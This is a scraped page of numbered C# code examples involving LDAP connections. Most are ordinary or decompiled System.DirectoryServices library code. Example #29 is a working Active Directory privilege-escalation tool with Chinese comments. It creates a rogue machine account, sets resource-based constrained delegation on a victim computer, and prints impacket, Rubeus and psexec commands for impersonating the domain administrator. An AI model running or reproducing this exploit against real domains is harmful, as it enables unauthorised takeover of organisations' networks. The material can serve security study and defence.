                StringBuilder target = new StringBuilder();
                target.Append(HostName);
                target.Append(":");
                target.Append(PortNumber);
                LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(target.ToString());
                NetworkCredential cred = ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection tempNewConnection = null;
                LdapConnection tempReferralConnection = null;
                WeakReference reference = null;

                lock (LdapConnection.objectLock)
                {
                    // if referrafromconnection handle is valid
                    if (ReferralFromConnection != (IntPtr)0)
                    {
                        //check whether we have save it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]);
                        if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempReferralConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            // connection has been garbage collected, we need to remove this one
                            if (reference != null)
                                LdapConnection.handleTable.Remove(ReferralFromConnection);

                            // we don't have it yet, construct a new one
                            tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection);
                            // save it to the handle table
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection));
                        }
                    }

                    if (NewConnection != (IntPtr)0)
                    {
                        //check whether we have save it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[NewConnection]);
                        if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempNewConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            // connection has been garbage collected, we need to remove this one
                            if (reference != null)
                                LdapConnection.handleTable.Remove(NewConnection);

                            // we don't have it yet, construct a new one
                            tempNewConnection = new LdapConnection(identifier, cred, _connection.AuthType, NewConnection);
                            // save it to the handle table
                            LdapConnection.handleTable.Add(NewConnection, new WeakReference(tempNewConnection));
                        }
                    }
                }
                long tokenValue = (long)((uint)CurrentUser.LowPart + (((long)CurrentUser.HighPart) << 32));

                bool value = _callbackRoutine.NotifyNewConnection(_connection, tempReferralConnection, NewDN, identifier, tempNewConnection, cred, tokenValue, ErrorCodeFromBind);

                if (value)
                {
                    value = AddLdapHandleRef(tempNewConnection);
                    if (value)
                    {
                        tempNewConnection.NeedDispose = true;
                    }
                }
                return value;
            }
            else
            {
                return false;
            }
        }
        private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind)
        {
            string newDistinguishedName = null;

            if (!(NewConnection != IntPtr.Zero) || (this.callbackRoutine.NotifyNewConnection == null))
            {
                return(false);
            }
            if (NewDNPtr != IntPtr.Zero)
            {
                newDistinguishedName = Marshal.PtrToStringUni(NewDNPtr);
            }
            StringBuilder builder = new StringBuilder();

            builder.Append(HostName);
            builder.Append(":");
            builder.Append(PortNumber);
            LdapDirectoryIdentifier identifier  = new LdapDirectoryIdentifier(builder.ToString());
            NetworkCredential       credential  = this.ProcessSecAuthIdentity(SecAuthIdentity);
            LdapConnection          target      = null;
            LdapConnection          connection2 = null;
            WeakReference           reference   = null;

            lock (LdapConnection.objectLock)
            {
                if (ReferralFromConnection != IntPtr.Zero)
                {
                    reference = (WeakReference)LdapConnection.handleTable[ReferralFromConnection];
                    if ((reference != null) && reference.IsAlive)
                    {
                        connection2 = (LdapConnection)reference.Target;
                    }
                    else
                    {
                        if (reference != null)
                        {
                            LdapConnection.handleTable.Remove(ReferralFromConnection);
                        }
                        connection2 = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
                        LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(connection2));
                    }
                }
                if (NewConnection != IntPtr.Zero)
                {
                    reference = (WeakReference)LdapConnection.handleTable[NewConnection];
                    if ((reference != null) && reference.IsAlive)
                    {
                        target = (LdapConnection)reference.Target;
                    }
                    else
                    {
                        if (reference != null)
                        {
                            LdapConnection.handleTable.Remove(NewConnection);
                        }
                        target = new LdapConnection(identifier, credential, this.connection.AuthType, NewConnection);
                        LdapConnection.handleTable.Add(NewConnection, new WeakReference(target));
                    }
                }
            }
            long currentUserToken = ((long)((ulong)CurrentUser.LowPart)) + (CurrentUser.HighPart << 0x20);
            bool flag             = this.callbackRoutine.NotifyNewConnection(this.connection, connection2, newDistinguishedName, identifier, target, credential, currentUserToken, ErrorCodeFromBind);

            if (flag)
            {
                target.needDispose = true;
            }
            return(flag);
        }
Пример #25
0
        // ----- CONSTRUCTORS -----
        /// <summary>
        /// Establishes a connection with an LDAP server that can be used to query or modify its contents.
        /// <param name="servers">A list of servers by fully qualified domain name, host name, ip address, or null.</param>
        /// <param name="portNumber">The port number on the LDAP server that is listening for requests.</param>
        /// <param name="authType">(Optional) The type of authentication to use when connecting with the server. By default this is set to Anonymous (i.e. no credentials required).</param>
        /// <param name="userName">(Optional) The user name to use when connecting to the LDAP server.</param>
        /// <param name="password">(Optional) The password to use with the user name provided to connect to the LDAP server.</param>
        /// <param name="domainName">(Optional) The domain or computer name associated with the user credentials provided.</param>
        /// </summary>
        public LDAP(List<string> servers, int portNumber, AuthType authType = AuthType.Anonymous, string userName = null, SecureString password = null, string domainName = null)
        {
            if (servers != null && servers.Count > 0 && portNumber > 0 && !string.IsNullOrWhiteSpace(userName) && password != null)
            {
                try
                {
                    // Setup the server information for the connection.
                    LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(servers.ToArray(), portNumber, false, false);

                    // Setup the credential to use when accessing the server. (Or null for Anonymous.)
                    NetworkCredential credential = null;
                    if (authType != AuthType.Anonymous)
                    {
                        credential = new NetworkCredential(userName, password);
                        if (!string.IsNullOrWhiteSpace(domainName))
                        {
                            // A domain was provided. Use it when creating the credential.
                            credential.Domain = domainName;
                        }
                    }

                    // Create the connection to the server(s).
                    try
                    {
                        connection = new LdapConnection(directoryIdentifier, credential, authType);

                        // Gather information about the LDAP server(s) from the RootDSE entry.
                        SearchResponse rootDSESearchResponse = (SearchResponse)connection.SendRequest(new SearchRequest(null, "(objectClass=*)", SearchScope.Base));
                        if (rootDSESearchResponse != null && rootDSESearchResponse.ResultCode == ResultCode.Success)
                        {
                            // Save the rootDSE for access by API clients.
                            rootDSE = rootDSESearchResponse.Entries[0];
                            SearchResultAttributeCollection attributes = rootDSE.Attributes;

                            // Check that LDAP V3 is supported.
                            if (attributes["supportedLDAPVersion"].GetValues(typeof(string)).Contains("3"))
                            {
                                // Get all of the naming contexts this server(s) supports.
                                namingContexts = (string[])attributes["namingContexts"].GetValues(typeof(string));

                                // Set the base DN for searching to the first naming context in the list.
                                searchBaseDN = namingContexts[0];

                                // Get any alternate servers can complete our requests should this one stop responding.
                                // If there are not other servers to contact this attribute is not available.
                                if (attributes.Contains("altServer"))
                                {
                                    alternateServers = (string[])attributes["altServer"].GetValues(typeof(string));
                                }
                            }
                            else
                            {
                                throw new NotSupportedException("The directory server does not support LDAP v3.");
                            }
                        }

                        // Bind to the ldap server with the connection credentials if supplied.
                        if (connection.AuthType != AuthType.Anonymous)
                        {
                            connection.Bind();
                        }
                    }
                    catch (System.ComponentModel.InvalidEnumArgumentException)
                    {
                        // Thrown when authType is out of range.
                        throw new ArgumentOutOfRangeException("authType");
                    }
                }
                catch (ArgumentException)
                {
                    throw new ArgumentException("Entries in the servers parameter can not have spaces.");
                }
            }
            else
            {
                if (servers == null || servers.Count == 0)
                {
                    throw new ArgumentNullException("servers", "The list of servers can not be null or empty.");
                }
                if (portNumber <= 0)
                {
                    throw new ArgumentOutOfRangeException("portNumber", "A port number must be positive.");
                }
            }
        }
Пример #26
0
        public LdapServer()
        {
            m_conn = null;
            m_cert = null;
            Timeout = Settings.Store.LdapTimeout;
            m_useSsl = Settings.Store.UseSsl;
            m_verifyCert = Settings.Store.RequireCert;
            string certFile = Settings.Store.ServerCertFile;
            if (m_useSsl && m_verifyCert)
            {
                if ( !string.IsNullOrEmpty(certFile) && File.Exists(certFile))
                {
                    m_logger.DebugFormat("Loading server certificate: {0}", certFile);
                    m_cert = new X509Certificate2(certFile);
                }
                m_logger.DebugFormat("Certificate file not provided or not found, will validate against Windows store.", certFile);
            }

            string[] hosts = Settings.Store.LdapHost;
            int port = Settings.Store.LdapPort;
            m_serverIdentifier = new LdapDirectoryIdentifier(hosts, port, false, false);

            m_logger.DebugFormat("Initializing LdapServer host(s): [{0}], port: {1}, useSSL = {2}, verifyCert = {3}",
                string.Join(", ", hosts), port, m_useSsl, m_verifyCert);

            this.Connect();
        }
Пример #27
0
        internal void ReadServerConfig(string serverName, ref ServerProperties properties)
        {
            string[] proplist = new string[] { "msDS-PortSSL", "msDS-PortLDAP", "domainControllerFunctionality", "dnsHostName", "supportedCapabilities" };
            LdapConnection ldapConnection = null;

            try
            {
                bool useSSL = (_options & ContextOptions.SecureSocketLayer) > 0;

                if (useSSL && _contextType == ContextType.Domain)
                {
                    LdapDirectoryIdentifier directoryid = new LdapDirectoryIdentifier(serverName, LdapConstants.LDAP_SSL_PORT);
                    ldapConnection = new LdapConnection(directoryid);
                }
                else
                {
                    ldapConnection = new LdapConnection(serverName);
                }

                ldapConnection.AutoBind = false;
                // If SSL was enabled on the initial connection then turn it on for the search.
                // This is requried bc the appended port number will be SSL and we don't know what port LDAP is running on.
                ldapConnection.SessionOptions.SecureSocketLayer = useSSL;

                string baseDN = null; // specify base as null for RootDSE search
                string ldapSearchFilter = "(objectClass=*)";
                SearchResponse searchResponse = null;

                SearchRequest searchRequest = new SearchRequest(baseDN, ldapSearchFilter, System.DirectoryServices.Protocols
                    .SearchScope.Base, proplist);

                try
                {
                    searchResponse = (SearchResponse)ldapConnection.SendRequest(searchRequest);
                }
                catch (LdapException ex)
                {
                    throw new PrincipalServerDownException(StringResources.ServerDown, ex);
                }

                // Fill in the struct with the casted properties from the serach results.
                // there will always be only 1 item on the rootDSE so all entry indexes are 0
                properties.dnsHostName = (string)searchResponse.Entries[0].Attributes["dnsHostName"][0];
                properties.SupportCapabilities = new string[searchResponse.Entries[0].Attributes["supportedCapabilities"].Count];
                for (int i = 0; i < searchResponse.Entries[0].Attributes["supportedCapabilities"].Count; i++)
                {
                    properties.SupportCapabilities[i] = (string)searchResponse.Entries[0].Attributes["supportedCapabilities"][i];
                }

                foreach (string capability in properties.SupportCapabilities)
                {
                    if (CapabilityMap.LDAP_CAP_ACTIVE_DIRECTORY_ADAM_OID == capability)
                    {
                        properties.contextType = ContextType.ApplicationDirectory;
                    }
                    else if (CapabilityMap.LDAP_CAP_ACTIVE_DIRECTORY_OID == capability)
                    {
                        properties.contextType = ContextType.Domain;
                    }
                }

                // If we can't determine the OS vesion so we must fall back to lowest level of functionality
                if (searchResponse.Entries[0].Attributes.Contains("domainControllerFunctionality"))
                {
                    properties.OsVersion = (DomainControllerMode)Convert.ToInt32(searchResponse.Entries[0].Attributes["domainControllerFunctionality"][0], CultureInfo.InvariantCulture);
                }
                else
                {
                    properties.OsVersion = DomainControllerMode.Win2k;
                }

                if (properties.contextType == ContextType.ApplicationDirectory)
                {
                    if (searchResponse.Entries[0].Attributes.Contains("msDS-PortSSL"))
                    {
                        properties.portSSL = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortSSL"][0]);
                    }
                    if (searchResponse.Entries[0].Attributes.Contains("msDS-PortLDAP"))
                    {
                        properties.portLDAP = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortLDAP"][0]);
                    }
                }

                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "OsVersion : " + properties.OsVersion.ToString());
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "dnsHostName : " + properties.dnsHostName);
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "contextType : " + properties.contextType.ToString());
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "portSSL : " + properties.portSSL.ToString(CultureInfo.InvariantCulture));
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "ReadServerConfig", "portLDAP :" + properties.portLDAP.ToString(CultureInfo.InvariantCulture));
            }
            finally
            {
                if (ldapConnection != null)
                {
                    ldapConnection.Dispose();
                }
            }
        }
Пример #28
0
		private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref ConnectionHandle ConnectionToUse)
		{
			ConnectionToUse = null;
			string stringUni = null;
			if (this.callbackRoutine.QueryForConnection == null)
			{
				return 1;
			}
			else
			{
				if (NewDNPtr != (IntPtr)0)
				{
					stringUni = Marshal.PtrToStringUni(NewDNPtr);
				}
				StringBuilder stringBuilder = new StringBuilder();
				stringBuilder.Append(HostName);
				stringBuilder.Append(":");
				stringBuilder.Append(PortNumber);
				LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(stringBuilder.ToString());
				NetworkCredential networkCredential = this.ProcessSecAuthIdentity(SecAuthIdentity);
				LdapConnection ldapConnection = null;
				if (ReferralFromConnection != (IntPtr)0)
				{
					lock (LdapConnection.objectLock)
					{
						WeakReference item = (WeakReference)LdapConnection.handleTable[(object)ReferralFromConnection];
						if (item == null || !item.IsAlive)
						{
							if (item != null)
							{
								LdapConnection.handleTable.Remove(ReferralFromConnection);
							}
							ldapConnection = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
							LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(ldapConnection));
						}
						else
						{
							ldapConnection = (LdapConnection)item.Target;
						}
					}
				}
				long lowPart = (long)CurrentUserToken.LowPart + ((long)CurrentUserToken.HighPart << 32);
				LdapConnection queryForConnection = this.callbackRoutine.QueryForConnection(this.connection, ldapConnection, stringUni, ldapDirectoryIdentifier, networkCredential, lowPart);
				if (queryForConnection != null)
				{
					ConnectionToUse = queryForConnection.ldapHandle;
				}
				return 0;
			}
		}
Пример #29
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine(victim_distinguished_name);
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            try{
                //连接ldap
                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
                //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
                System.DirectoryServices.Protocols.LdapConnection connection = null;
                //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                //通过ldap找计算机
                System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
                myldapConnection.Path = "LDAP://" + victim_distinguished_name;
                myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
                search.Filter = "(CN=" + victimcomputer + ")";
                string[] requiredProperties = new string[] { "samaccountname" };
                foreach (String property in requiredProperties)
                {
                    search.PropertiesToLoad.Add(property);
                }
                System.DirectoryServices.SearchResult result = null;
                try
                {
                    result = search.FindOne();
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                    return;
                }

                //添加机器并设置资源约束委派
                if (result != null)
                {
                    try
                    {
                        var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                            new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                        });
                        //添加机器账户
                        connection.SendRequest(request);
                        Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                        Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                        Console.WriteLine("[-] Exception: " + ex.Message);
                        return;
                    }
                    // 获取新计算机对象的SID
                    var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                    var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                    SecurityIdentifier sid = null;
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                    {
                        try
                        {
                            sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                            Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                            return;
                        }
                    }
                    //设置资源约束委派
                    String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                    RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] buffer            = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(buffer, 0);
                    //测试sddl转换结果
                    //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                    //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));
                    // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                    try
                    {
                        var change_request = new System.DirectoryServices.Protocols.ModifyRequest();
                        change_request.DistinguishedName = victim_distinguished_name;
                        DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification();
                        modifymsDS.Operation = DirectoryAttributeOperation.Replace;
                        modifymsDS.Name      = "msDS-AllowedToActOnBehalfOfOtherIdentity";
                        modifymsDS.Add(buffer);
                        change_request.Modifications.Add(modifymsDS);
                        connection.SendRequest(change_request);
                        Console.WriteLine("[+] Exploit successfully!\n");
                        //打印利用方式
                        Console.WriteLine("[+] Use impacket to get priv!\n");
                        Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                        Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                        Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                        Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n");
                        Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain);
                        Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController);
                        Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain);
                        Console.WriteLine("\n[+] Done..");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                        Console.WriteLine("[!] Failed...");
                        return;
                    }
                }
            }
            catch (System.Exception ex) {
                Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                return;
            }
        }
Пример #30
0
		internal void ReadServerConfig(string serverName, ref ServerProperties properties)
		{
			string[] strArrays = new string[5];
			strArrays[0] = "msDS-PortSSL";
			strArrays[1] = "msDS-PortLDAP";
			strArrays[2] = "domainControllerFunctionality";
			strArrays[3] = "dnsHostName";
			strArrays[4] = "supportedCapabilities";
			string[] strArrays1 = strArrays;
			LdapConnection ldapConnection = null;
			using (ldapConnection)
			{
				bool flag = (this.options & ContextOptions.SecureSocketLayer) > 0;
				if (!flag || this.contextType != ContextType.Domain)
				{
					ldapConnection = new LdapConnection(serverName);
				}
				else
				{
					LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(serverName, LdapConstants.LDAP_SSL_PORT);
					ldapConnection = new LdapConnection(ldapDirectoryIdentifier);
				}
				ldapConnection.AutoBind = false;
				ldapConnection.SessionOptions.SecureSocketLayer = flag;
				string str = null;
				string str1 = "(objectClass=*)";
				SearchResponse searchResponse = null;
				SearchRequest searchRequest = new SearchRequest(str, str1, SearchScope.Base, strArrays1);
				try
				{
					searchResponse = (SearchResponse)ldapConnection.SendRequest(searchRequest);
				}
				catch (LdapException ldapException1)
				{
					LdapException ldapException = ldapException1;
					throw new PrincipalServerDownException(StringResources.ServerDown, ldapException);
				}
				properties.dnsHostName = (string)searchResponse.Entries[0].Attributes["dnsHostName"][0];
				properties.SupportCapabilities = new string[searchResponse.Entries[0].Attributes["supportedCapabilities"].Count];
				for (int i = 0; i < searchResponse.Entries[0].Attributes["supportedCapabilities"].Count; i++)
				{
					properties.SupportCapabilities[i] = (string)searchResponse.Entries[0].Attributes["supportedCapabilities"][i];
				}
				string[] supportCapabilities = properties.SupportCapabilities;
				for (int j = 0; j < (int)supportCapabilities.Length; j++)
				{
					string str2 = supportCapabilities[j];
					if ("1.2.840.113556.1.4.1851" != str2)
					{
						if ("1.2.840.113556.1.4.800" == str2)
						{
							properties.contextType = ContextType.Domain;
						}
					}
					else
					{
						properties.contextType = ContextType.ApplicationDirectory;
					}
				}
				if (!searchResponse.Entries[0].Attributes.Contains("domainControllerFunctionality"))
				{
					properties.OsVersion = DomainControllerMode.Win2k;
				}
				else
				{
					properties.OsVersion = (DomainControllerMode)Convert.ToInt32(searchResponse.Entries[0].Attributes["domainControllerFunctionality"][0], CultureInfo.InvariantCulture);
				}
				if (properties.contextType == ContextType.ApplicationDirectory)
				{
					if (searchResponse.Entries[0].Attributes.Contains("msDS-PortSSL"))
					{
						properties.portSSL = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortSSL"][0]);
					}
					if (searchResponse.Entries[0].Attributes.Contains("msDS-PortLDAP"))
					{
						properties.portLDAP = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortLDAP"][0]);
					}
				}
			}
		}
Пример #31
0
        public LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, AuthType authType)
        {
            _fd = new GetLdapResponseCallback(ConstructResponse);
            directoryIdentifier = identifier;
            directoryCredential = (credential != null) ? new NetworkCredential(credential.UserName, credential.Password, credential.Domain) : null;

            _connectionAuthType = authType;

            if (authType < AuthType.Anonymous || authType > AuthType.Kerberos)
                throw new InvalidEnumArgumentException("authType", (int)authType, typeof(AuthType));

            // if user wants to do anonymous bind, but specifies credential, error out
            if (AuthType == AuthType.Anonymous && (directoryCredential != null && ((directoryCredential.Password != null && directoryCredential.Password.Length != 0) || (directoryCredential.UserName != null && directoryCredential.UserName.Length != 0))))
                throw new ArgumentException(Res.GetString(Res.InvalidAuthCredential));

            Init();
            _options = new LdapSessionOptions(this);
            clientCertificateRoutine = new QUERYCLIENTCERT(ProcessClientCertificate);
        }
Пример #32
0
        private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind)
        {
            WeakReference item;
            string        stringUni = null;

            if (!(NewConnection != (IntPtr)0) || this.callbackRoutine.NotifyNewConnection == null)
            {
                return(false);
            }
            else
            {
                if (NewDNPtr != (IntPtr)0)
                {
                    stringUni = Marshal.PtrToStringUni(NewDNPtr);
                }
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.Append(HostName);
                stringBuilder.Append(":");
                stringBuilder.Append(PortNumber);
                LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(stringBuilder.ToString());
                NetworkCredential       networkCredential       = this.ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection          ldapConnection          = null;
                LdapConnection          target = null;
                lock (LdapConnection.objectLock)
                {
                    if (ReferralFromConnection != (IntPtr)0)
                    {
                        item = (WeakReference)LdapConnection.handleTable[(object)ReferralFromConnection];
                        if (item == null || !item.IsAlive)
                        {
                            if (item != null)
                            {
                                LdapConnection.handleTable.Remove(ReferralFromConnection);
                            }
                            target = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(target));
                        }
                        else
                        {
                            target = (LdapConnection)item.Target;
                        }
                    }
                    if (NewConnection != (IntPtr)0)
                    {
                        item = (WeakReference)LdapConnection.handleTable[(object)NewConnection];
                        if (item == null || !item.IsAlive)
                        {
                            if (item != null)
                            {
                                LdapConnection.handleTable.Remove(NewConnection);
                            }
                            ldapConnection = new LdapConnection(ldapDirectoryIdentifier, networkCredential, this.connection.AuthType, NewConnection);
                            LdapConnection.handleTable.Add(NewConnection, new WeakReference(ldapConnection));
                        }
                        else
                        {
                            ldapConnection = (LdapConnection)item.Target;
                        }
                    }
                }
                long lowPart           = (long)CurrentUser.LowPart + ((long)CurrentUser.HighPart << 32);
                bool errorCodeFromBind = this.callbackRoutine.NotifyNewConnection(this.connection, target, stringUni, ldapDirectoryIdentifier, ldapConnection, networkCredential, lowPart, ErrorCodeFromBind);
                if (errorCodeFromBind)
                {
                    ldapConnection.needDispose = true;
                }
                return(errorCodeFromBind);
            }
        }
Пример #33
0
 public LdapConnection(LdapDirectoryIdentifier identifier) : this(identifier, null, AuthType.Negotiate)
 {
 }
Пример #34
0
 public LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, AuthType authType)
 {
     throw new NotImplementedException();
 }
Пример #35
0
        private bool BindLdap(NetworkCredential creds, ContextOptions contextOptions)
        {
            LdapConnection current = null;
            bool useSSL = (ContextOptions.SecureSocketLayer & contextOptions) > 0;

            if (_contextType == ContextType.ApplicationDirectory)
            {
                _directoryIdent = new LdapDirectoryIdentifier(_serverProperties.dnsHostName, useSSL ? _serverProperties.portSSL : _serverProperties.portLDAP);
            }
            else
            {
                _directoryIdent = new LdapDirectoryIdentifier(_serverName, useSSL ? LdapConstants.LDAP_SSL_PORT : LdapConstants.LDAP_PORT);
            }

            bool attemptFastConcurrent = useSSL && _fastConcurrentSupported;
            int index = Convert.ToInt32(attemptFastConcurrent) * 2 + Convert.ToInt32(useSSL);

            if (!_connCache.Contains(index))
            {
                lock (_cacheLock)
                {
                    if (!_connCache.Contains(index))
                    {
                        current = new LdapConnection(_directoryIdent);
                        // First attempt to turn on SSL
                        current.SessionOptions.SecureSocketLayer = useSSL;

                        if (attemptFastConcurrent)
                        {
                            try
                            {
                                current.SessionOptions.FastConcurrentBind();
                            }
                            catch (PlatformNotSupportedException)
                            {
                                current.Dispose();
                                current = null;
                                _fastConcurrentSupported = false;
                                index = Convert.ToInt32(useSSL);
                                current = new LdapConnection(_directoryIdent);
                                // We have fallen back to another connection so we need to set SSL again.
                                current.SessionOptions.SecureSocketLayer = useSSL;
                            }
                        }

                        _connCache.Add(index, current);
                    }
                    else
                    {
                        current = (LdapConnection)_connCache[index];
                    }
                }
            }
            else
            {
                current = (LdapConnection)_connCache[index];
            }

            // If we are performing fastConcurrentBind there is no need to prevent multithreadaccess.  FSB is thread safe and multi cred safe
